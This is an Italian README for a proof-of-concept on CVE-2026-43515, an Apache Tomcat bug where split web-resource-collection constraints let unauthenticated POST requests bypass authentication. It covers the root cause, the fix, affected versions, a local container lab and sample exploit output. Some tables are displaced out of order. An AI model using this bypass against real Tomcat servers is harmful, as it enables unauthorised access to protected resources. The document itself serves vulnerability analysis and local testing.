
PoC di sfruttabilità per CVE-2026-43515 (bypass dei vincoli di Apache Tomcat).
Giudizio di sfruttabilità: confermato sfruttabile. Una richiesta POST verso una risorsa protetta da una configurazione con
<web-resource-collection>divisa bypassa completamente l'autenticazione. La strutturaweb.xmlrichiesta è poco comune nelle distribuzioni standard — vedi Analisi per dettagli.
CVE-2026-43515 è una vulnerabilità nella logica di valutazione delle restrizioni di sicurezza di Apache Tomcat. Quando un singolo <security-constraint> definisce più blocchi <web-resource-collection> che condividono lo stesso pattern di estensione URL (ad es. *.html) ma ciascuno dichiara un metodo HTTP diverso, Tomcat applica la restrizione solo per il metodo HTTP dichiarato nella prima collezione corrispondente. Tutte le collezioni successive vengono silenziosamente ignorate.
L'intenzione dell'amministratore:
<security-constraint>
<web-resource-collection>
<url-pattern>*.html</url-pattern>
<http-method>GET</http-method> <!-- collection[0] -->
</web-resource-collection>
<web-resource-collection>
<url-pattern>*.html</url-pattern>
<http-method>POST</http-method> <!-- collection[1] — scartata silenziosamente -->
</web-resource-collection>
<auth-constraint>
<role-name>admin</role-name>
</auth-constraint>
</security-constraint>
Ciò che Tomcat (prima della correzione) effettivamente applica:
GET *.html → 401 — restrizione applicata ✓POST *.html → 200 — restrizione scartata silenziosamente ✗| Intervallo affetto | Corretto in |
|---|---|
| 7.0.0 – 7.0.109 | 7.0.110 |
| 8.5.0 – 8.5.100 | 8.5.101 |
| 9.0.0.M1 – 9.0.117 | 9.0.118 |
Il bug risiede in findSecurityConstraints(Request, Context) in org.apache.catalina.realm.RealmBase. Il flag matched e l'indice pos erano dichiarati fuori dal ciclo per-collezione:
// RealmBase.java — vulnerabile
boolean matched = false;
int pos = -1;
for (int j = 0; j < collection.length; j++) {
// pattern matching imposta matched = true e pos = j
// sulla PRIMA collezione corrispondente ...
}
if (matched) {
if (collection[pos].findMethod(method)) { // pos congelato a 0
results.add(constraints[i]);
}
}
Una volta che collection[0] corrispondeva al pattern di estensione *.html, pos veniva congelato a 0. La chiamata a findMethod("POST") quindi veniva eseguita su collection[0] (che dichiara solo GET) e restituiva false. Nessuna restrizione veniva aggiunta a results per la richiesta POST, e AuthenticatorBase concludeva che la richiesta non era soggetta ad alcuna restrizione.
La correzione (commit 276087d) sposta matched dentro il ciclo e sostituisce collection[pos] con collection[j], così ogni collezione viene valutata indipendentemente:
// RealmBase.java — corretto
for (int j = 0; j < collection.length; j++) {
boolean matched = false; // ← spostato dentro il ciclo
// pattern matching ...
if (matched) {
found = true;
if (collection[j].findMethod(method)) { // ← j, non pos
if (results == null) {
results = new ArrayList<>();
}
results.add(constraints[i]);
}
}
}
Il bypass è confermato e riproducibile. Il log verboso di Tomcat rende il meccanismo inequivocabile:
// GET — restrizione correttamente applicata
AuthenticatorBase.invoke Calling authenticate()
AuthenticatorBase.invoke Failed authenticate() test → 401
// POST — restrizione scartata silenziosamente
AuthenticatorBase.invoke Not subject to any constraint → 200
La vulnerabilità si attiva solo con uno specifico pattern in web.xml: un singolo <security-constraint> con multipli blocchi <web-resource-collection> che condividono lo stesso pattern di estensione ma dichiarano metodi HTTP diversi.
Questa configurazione è valida secondo la specifica Servlet, ma rara nella pratica. La maggior parte delle distribuzioni:
<http-method> (proteggendo tutti i metodi), oppure<security-constraint> separati per ogni metodoLe distribuzioni che usano il pattern a collezioni divise per applicare un controllo di accesso granulare per metodo su pattern di estensione sono esposte.
cve-2026-43515-poc/
├── Dockerfile # Tomcat 11.0.0-M1 (versione affetta)
├── tomcat-users.xml # Un utente valido: validuser:s3cret! / ruolo: admin
├── web.xml # Configurazione che innesca la vulnerabilità: web-resource-collection divisa
├── logging.properties # Logging a livello FINE per osservare la valutazione delle restrizioni
└── exploit/
├── exploit.go # PoC — Go
| Strumento | Versione | Note |
|---|---|---|
| Podman | ≥ 4.0 | Anche Docker funziona |
| Go | ≥ 1.22 | Per eseguire l'exploit localmente |
Nessuna dipendenza Go esterna.
podman build -t tomcat-cve-2026-43515 .
podman run -d --name tomcat-vuln \
-p 8080:8080 \
-v ./logging.properties:/usr/local/tomcat/conf/logging.properties:Z \
tomcat-cve-2026-43515
Attendi qualche secondo, poi verifica:
curl -si http://localhost:8080/protected/secret.html | head -1
# Previsto: HTTP/1.1 401
cd exploit
go run exploit.go \
-target http://localhost:8080 \
-path /protected/secret.html \
-username validuser \
-password s3cret!
Flag disponibili:
podman stop tomcat-vuln && podman rm tomcat-vuln
═══════════════════════════════════════════════════
CVE-2026-43515 — Apache Tomcat Constraint Bypass
═══════════════════════════════════════════════════
Target : http://localhost:8080/protected/secret.html
───────────────────────────────────────────────────
Probe 1 — GET without credentials
Expected: 401 (constraint applied to collection[0])
[1] GET (no credentials) → HTTP 401 ← ✓ constraint enforced as expected
Probe 2 — POST without credentials ← the exploit probe
Expected on VULNERABLE Tomcat: 200 (constraint NOT enforced)
[2] POST (no credentials) → HTTP 200 ← ✗ BYPASS CONFIRMED — constraint not enforced for POST
Probe 3 — GET with valid credentials (sanity check)
Expected: 200 (authenticated access granted)
[3] GET (with credentials) → HTTP 200 ← ✓ authenticated access granted
───────────────────────────────────────────────────
VERDICT: VULNERABLE
| Risorsa | Collegamento |
|---|---|
| Commit di correzione — 11.0.x | apache/tomcat@276087d |
| Analisi completa — post sul blog | return-zero.dev/posts/cve-2026-43515 |
Questo repository è destinato esclusivamente a scopi educativi e all'analisi locale della sfruttabilità. Tutti i test sono stati eseguiti contro un ambiente containerizzato auto-ospitato. Non eseguire questo PoC contro sistemi di cui non sei proprietario o per i quali non hai esplicita autorizzazione scritta a testare.
| 10.1.0.M1 – 10.1.54 |
| 10.1.55 |
| 11.0.0.M1 – 11.0.21 | 11.0.22 |
| Flag | Default | Descrizione |
|---|
-target | http://localhost:8080 | URL base di Tomcat |
-path | /protected/secret.html | Percorso della risorsa protetta |
-username | validuser | Nome utente valido per il controllo di base |
-password | s3cret! | Password per il controllo di base |